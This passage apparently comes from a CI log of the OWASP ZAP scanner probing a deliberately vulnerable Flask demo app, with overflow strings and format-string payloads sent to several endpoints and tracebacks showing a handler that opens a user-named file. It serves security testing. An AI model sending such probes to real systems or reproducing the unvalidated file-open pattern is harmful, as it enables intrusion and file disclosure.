CyBTgwnAHnXRKtZNqkRwVvvkaxxcKSUHoEiVSqHIDbQIAlNnciKFTPGsxsAZnbJCNmixuJiNLuVdRraFlPsqHNHmPtdFTTnIUQyjFbloxWeZTUSFunhgZcseMLtGJUvKvjrTgCIGRErwRPNxtAROcTIKPqpDdLyeNoWoxTUxLciQDiadvucsUwnWTkvjtVBEkaoSioKcVRktTUgpEMRMJIFIGAVroMecSuYgXnvaKWROFrQCqVjCGLOExMiEXUkRylramhXrkaVZUwsbSVOPKLdBwRYMZfFyMkeYrkhQBpWUhhMbUCFifjRVTaGoZoVIGiCNApfXvgtiFHjxIiGLKxTIxZQfWGCOhIxIIhmaK&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:20] "GET /xss4?a=k&name=HfWAXdaHWnQQbjfIRVjlBLGDxYtJwQlucUUgtySOvVekYfoCrYkfwJjWYYOKDjRWxsonvwdDoTOcvoMikVVikNYgedJgNRwtXDXOBlFsokIsbquPlrNvktnBZmCuFZQMIcjsUfopCsRwCJQqHGvpLWmYtmvxDMYnaRtwSLIlQHEwpEsFVbBDQXbkWXmVgIxDANwBKcvSfBkesXcNhTvWVrXrkpSvjFvovVmcfySowTCACbSYTWUJipjjHgvduIHWysoTQCVsRTZWiDqBmnXHfWaoNITPZArCTMTqEQxAKQDqIYgiYbdsTLmrAoQELEcmOXbZllkfKtEeCltxrxXKCwyHGojmynNItvsfggAjhkPhWgSFklEqgpxoXtyTjurniArOwYNgwQTwrjNAOWrnxNBFFSIFeWcATvoPDJGjpnScCnvwnZWVdbepIbCyHrPAAfoPSkKmLalZNkfQkMNtICKmPFCurXOlOfsSNNZlcxVMIfgXQNDYKLEkmpsVGJlRIUKZAkXBEjLfXjHPPUTefojHVaGTiWrMfTqbqxifQwwNJJqZKxhcFCDXilgZWCWprRUuGNcUuGcNMouxFHLrgjaNIsrIEJnLtaJLcUhWXELsPRukCKJMSEBybvqIvEoUqvSUNGdVROFwxPegOQOhDbBDBupQqRDArqcbQggyOfuCJIBRLTPWRJcsSyMkadTWqEYfSiryNhvZuNRROficPhdwPKulqtDRiEJdmquIAplsXGIFPRmjoerlCtMGkRgGuOLgUXepitDpwjVKtfccjhikNQBXVHMNCSYAxWusqdVbHIHKVmHPFOyFMXggVNqISvhvWtqPdxngQpswvajoHjmVdMTjerpZWhtpopfmgJVjXRMqvfurXXPbpboERBDCXaRxSigpKdoGATcKOujlqGfcULtCTFluATeRViVjKBEjkoxCCFhcBhiXrCdNKpxXZBPYZKtSLIPaiqXAihXipPQokhipOpBvNaAdmBnqHSQFJERwmqFajgReInkLrQLONNdhTaeEGdWhqJLMyoXpPgugMROFnFJGMpMaBQtPImybOJPOZDrVpSXaClYKBfknGfPXyyHdqDQnGoaNianOVCyjCnPPvanRvTmaQBnpjRjPoxxgcTnMUILZObxpCMDjUXJGXbXgDtDBSYnFoIjZjUpPCGiWjUqsOKHVCrkfDcLcmJmNpaPBemWPpJxkYRcQBcghTjFyTVewwFmrspkZXPHhydTbDXsEtpZwYUpqTYEXrWFtuNhIgcuMLJbFKZuYVnUsZGNVLshrCHYIevacbYgROYSpnXgUCOEtmNUYSFIvOeTqelVpGYQatmnjvcmaQuuPfiCJjerKgliNKdDBmUoankyDRWbrjkGipJfZxaZiWJedYVMsUxjNGSRIRuwFsIXlTNUPcObsOGNmirTsxIcmNVvXRvbPwgLmRsQNqnEXRkhRyQAhhAVLgCioiBEZLiyKNGEOfoTbTYVtStIOtHdCiKJysfZtnyBaSjMqSubFXGGQAugKcPvxWJUdwyyiLwtEQgDhktGxVtwsyObrgGQVSwwKttvdNRBXLmYPrZmhZYuubiefwLpbHawjlMelxuBgTcyyjZDZjiqYIsrDMYMomAxKISKbSaQlmnnRMRiMRPkacHdsFoHBZKkZpZVIfjmGKPoyGdriJGwGZvvRWIODRbxoIwoKVCLyLdSjfFGgmdxtDiTdUmevYSXtJxeMsTGDxHNiqYwvbjfPQKPkZnrlqOkZOpngJiNhHWsuRQoqYfODNmabiLhkWAsesgWhFXDDfcVnmuuOZxYvgpFxxOsQuumpfVOsZRntUbfYTvGftUDmtmMfodVmlxphHwFRpgBpjRFeBiGaeAVqITyeklhQgJrHJcXxnHwMTYUCnGYabadiqIVYherVPeyEVtUSDBicEjtgLhlqZXIZlHWDqhZBuAfifafmyYxQXyPbbliuCbwiyjAvDwFvlaFyVOvhayvrUWFMCdbQMxQFrChFqAPguhgsTltTiIMmDrcUdIjfSTkroelFCWRlveeYDABUMaAhKoRhKfnOLqjtoFsiqgoqZWYLOJcaFqHbBAkRpvLsyQYpvgZc HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss5?a=qRYlhcpkPYUAtcTteIqmPqgrYkYaFLbfRdjqDdcBLiliMulLQXRZrOinXyXbFPibCLQYCUOuoBUuJXyyWMRnjIuYulvUbrJDJoWpOCExIDsUaWrpHQZUJxgfbQSHireWaEkvupocvVBvdmDlgZTfchCyjtCLtCriePqZcTjtnwWEPMCxGCAtGUgmuewmktIiQZrkoLXrlyaagKRHFsvPmCUXFCtpXcLkTwWQQceWjGeNhAJtUtypBFtTfBoVxvjSKytptyeUXZgnbmGGDiYKmUSjTImIdQitQkkvjxgDSoArwTAlRsSQnhquWwXejylXZkGyurnCbvMJIZaPhlWyjRPfdBXfBZcmeuoLeSLLaXwGNTqdQlFlhpvNNAKTIFiXYIaixuBGGwuBRtZvGqmITTioOTBTUHxaZHuJAoQtPPyMreqjhHbnlFbYNfYbVuYCCnTqfPEMbiplIwyhmawgygTjrkpEHgGhlkpxfElBRRuViNDIdesAlYoUfdGSeaFDhhggIsPtpKGHSgYfuMALQZNeZvhOdnDyeglPHOUDCiiqLvBKErClNrZgWahYUgVPjgposLijnodfaGUxxAKApDNcQrrfvOmhWfaQmXQseCGemcKbsRpwOwPOqjjGvMwdKoaAgKnqpelkviLnBHjmeWxXITHYdnADqiQkFJnASdLJYPdqYcLFbqUVrZuBbsaAMdkrHJfLGvoLiyHpVqHcQbVdZmnoLntoOtHKxKGXfYyuAjKKaAZlMVhXWIInJICVePcNkYGUuBFfGuLYRrhNTuLjWRPXuRkBAKbGnLJfFmruqnHIwixNYVkhgVBoUnyPuDklYSydSqDDnWcTlPwRoyEHDAUfRbnXsymlcQbiZcckHWoPNbbgGfsKqSYhlZuOVQSaflGCTQXSfVUpFioiEWVVSjFakYFdirnDPvBPCQRmbEStSPtvqeHyPwYysMTECgMXMDiHPGMuKAgqejjftZYoosyKTmmrYRymKxdwMXItBTwiGySKXwACfryPgbYSIQsleNBFEiBMtKlpkAigKPpaololYWNSRPQLPlyynhyMiBZVLKcKSQDmeiBbKSRcBdUCPrvSpujBsOqLoLduMkMRKuLrHbXJZbYfaNSbcsArEsJrIhyQdPotBHVyLeSIskQDMPbxqoZKKjlrvZbFMhdErMeTqDGTgJjyFNuIoyvVfeCGLRqHsmcrFhHQuxHwBgPxuCplNRgoWuGMZhmVQSjaBFyLdGfKBNgwLJUoDEOtuXTnwyYygvXTqRsmaTKFXxAaxXYFRUxkynhWhCEoLsjEfXHsgnKftsLLpYYHTjcrXJJJPQaRihpEfQaaNJJEijgWBmNjwMFytiOFjkgyRNqwfmHBNrGmrYqaHFXoxbqtTcOCLYxvCgiJBSpkRCmCMbgTGyaLtoEYTiDHvxnEdGjlIPCPyMEXeBRSMuYZVwXoukxNbNwZoEsukIamLcdfwTNNiVDiqMuedhoqWOpELwCBDcdPFmbpDJrLehXyjWxSpbmZUmbHhfNHjTRsGVSfgbiwXeJQSwvohhuFZXgustYoltOXjiGMtfUlHgqVulKnJDbgNyubhpXyvWfollwGAMnvcHVFmbpSxrMNecZWXGLhcLMNIhVuilgFLEottVCaRjwRjnyEXgwrvtawUjKyeXduBddRGhCrvfVpiiNwvNaUiBRoUCAaEbDDNieRTgoaQYZplJjxKuCSWJYqfeQsJgiZQKqvbJdlECgwLrJERdrcljEkmwTiGBDklpOhsefBpphkVvRYdeTqgCobTggBgeQBhTytkQqhlIWEnCRqBpciCHscrUOVEQPanmdTLirkdQhUjcPkEqFltBVBUfXOwFAwYojsKthvnoMkuinuBuPTAlyVyKDDXQywhnbfIKLZKIrtemeaPLNoSbqEteULbWMbKhIDDYRcljUZcfBlSwgCsHveZtDuLOwnpUioxnEXNjytrKIkwMjyaLCpGCxSHNDuFiYDltvAGVWuxaVFXxibQXLKcOSZnqjPZdXuriKmNKodaDZpsWYUwLNpoJuXldBaAiKdUOqfxmZftFdDehPbOXmivNdZRQWhseLEohLAfBspCZym&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss5?a=k&name=uOLRLlHTERgCEZNOsQgpYsCsCkjmEdtVadoFRnZKTshBAbfNWiOWmhqsayPpyJlfSyMUEiaAWQKEQbhuWcddtBRnmdvYkURrZXywrQiSVRjfZiJcMddqhCjolcIDRDcrwuyXBxxtDWTCCjecLBKcKMWlNPdPRSHFUFQGKrOUFkMghSMxLHkFDZRQgDRpgEAoxbusHhkJGwwHjlTyrdNJTILLySrsqSRNTWxYqtrCpDSZTglJUadhWxVjHYEWVnFHPeyGaNxtswnJNZhUtGcewaORlwcSvbmAAlSsQvlfmypJeIWbaSPdmbIHBrGsAnCNGjoPPMFHGVphsaRZBIxFGZPAPDakhBVCnqturucZFeAMZLkpeOJfRrOMmJXpGDSjskwxJBKADpgRquQZnptBhaGLAeNpFlyEIxReMBMSodXEciFKRLiIYxeZBroTKlOGnXyPTBRwjNqySZUDsWClASNFwwMuARhFENJmHjEOaTGUKSHkSPWkDTnHRSXpJUykCUbRFmswYHFyLNRMsJUgGFhTCHgTNgkpPtKUXlMqlRciymwJVGxkcgVJtdtqRwxippmibPtBaamqxfnvabPpJEGRsXEIqUsGnxvBrRbnvldOjdOCRNRDstNjMxbtfxMJlCgeMYaEFxQOeRDyoTDLxjMayNDbAbgculUGImVghrrIKorBKdVaJnrkyGtjnZHsWhrtlijGSJjHrIcybvaReCEisoVfnVjOMgDIWfQixdVAJVSXMrSdWGWWQfJXCPULcZAciOUkNVLGgeKkvWAuTqnTaXAPSsrOOoOysDtHkTUIatqbEffTTWDuARqUvuDgRpYKbdPoCZuTWbpKpQwKFPcLVxLJsxSIpXBuywUqNkblXQMJTIoSiFmsKoowgLbtINwoYbWSicnNxWQNslcNhrotFfDmNrilJMsaTLEXqwNGfmloqICwLHvnVJSAgYtatRdsqGkwRspEfsPqpUYblvWrOTiQEmxIGWxHKXlQuQdvFrgUimHvCjhfLVNOMrNUBUQflVXsfIEZZqECEaQZTrQBwmQTDxjVqJohoImspGHGWQBOqadjDKPZSINXThLINSqkxaXxaokBukeXQCXEmcsoQwXnyAwpaSjWWjiQuPxLSYpYjfdGyixgjKwFlNtXFYnqtfXNtJQxThRrfucDMPmCPVyNRrXkQKSVotVNcTPKTpPvmMdduOmqabeYhdUyPlCUDGgecTsQElQMiJexSpnnJQKRhFXlpuyyrgZEcEmpVArjEsqWrxngCGXbDkBrDQFdHyrIXMvusHsTrJhvSKXrNEXSBxKZleKeVMvMoUyjdNyMRptkPwDGrMQcvIpLtfyObkgNPmsDFMlnlnCDyfylbbVhuqAHvKRRABBkARWnVokdQWAMPcTXcxjpfRePbbPUXXUsLBDcxqlcbKWWxIEBGIdjcixexQudlsPlPUUEFUgkmZogJnqDaIlHfisWqMBMVyRxUrWEdoTBJRkIVYPicWZQAqAygXIchArAAOhOKPQwjwerGxqaXRFmyaaEMmDxRjwijWnbUweccMvsgCgMpMRXaRbPescAVbmnjZPUdrjvlZJiQYTHlWWAGEuvPllfkjNsiZCgNuqyTwLgGkaZTpEUtsxMApZAXBrbsfNhxubVMEjDqHCZQJdOfvpuFouZchaAeRoLjPaawOJYhrjHRdBysupangBQanKTtPcwpFpPKyxKQNTROgZRNHAYFsGeNeppnqEMNYpIOqfrYHKYBVeHROBkWyVIpeIHhsopmeMRuaAxXtyGjTmpVBfBMPWYKpJgFrHPipnvOMKIGsTFuLdUhAgHEGTIHISLGfZLhvvxniawaUoqMTBbbuowXbLDTbrvGhoHGNXccjOTYitJfpofkZqPednCBqTvdRIqQxyjuRoUsfERddTvFUUsDlclclPJDNdAaAjFqHGEbsDaDBSAlvJRfgBSlgGBYNTBjjwHRgljBUcjeCoJrROpPjICikUuYGEsDUuYPJRUyVLOJfDlYnwpLqFANHPiKRoFfeotsYwBEjFSnekUiXshtEWJVHJZXEGXcpEfsAPDiAMWmJvLqJqItSpInogxYkJPMGkqYCkZ HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /?query=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A HTTP/1.1" 200 -
[2017-10-18 08:05:21,123] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'ZAP'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=ZAP HTTP/1.1" 500 -
[2017-10-18 08:05:21,125] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s\n'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 500 -
[2017-10-18 08:05:21,128] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'ZAP%x%x%x%x%x%x%x%x%x%x\n'
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /bonus?name=ZAP%25x%25x%25x%25x%25x%25x%25x%25x%25x%25x%0A HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /mystery?name=ZAP HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /mystery?name=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /sitemap.xml?query=ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /sitemap.xml?query=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /sitemap.xml?query=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /robots.txt?query=ZAP HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /robots.txt?query=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /robots.txt?query=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A HTTP/1.1" 404 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss1?a=ZAP&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss2?a=ZAP&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss1?a=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss2?a=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss1?a=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A&name=Thor HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss2?a=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A&name=Freyja HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss1?a=k&name=ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss2?a=k&name=ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss1?a=k&name=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss2?a=k&name=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss1?a=k&name=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss2?a=k&name=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss3?a=ZAP&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss4?a=ZAP&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss3?a=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss4?a=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss3?a=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A&name=Frigg HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss4?a=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A&name=Odin HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss3?a=k&name=ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss4?a=k&name=ZAP HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss3?a=k&name=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss4?a=k&name=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss3?a=k&name=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss4?a=k&name=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss5?a=ZAP&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss5?a=ZAP%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%25n%25s%0A&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss5?a=ZAP+%251%21s%252%21s%253%21s%254%21s%255%21s%256%21s%257%21s%258%21s%259%21s%2510%21s%2511%21s%2512%21s%2513%21s%2514%21s%2515%21s%2516%21s%2517%21s%2518%21s%2519%21s%2520%21s%2521%21n%2522%21n%2523%21n%2524%21n%2525%21n%2526%21n%2527%21n%2528%21n%2529%21n%2530%21n%2531%21n%2532%21n%2533%21n%2534%21n%2535%21n%2536%21n%2537%21n%2538%21n%2539%21n%2540%21n%0A&name=Loki HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:21] "GET /xss5?a=k&name=ZAP HTTP/1.1" 200 -
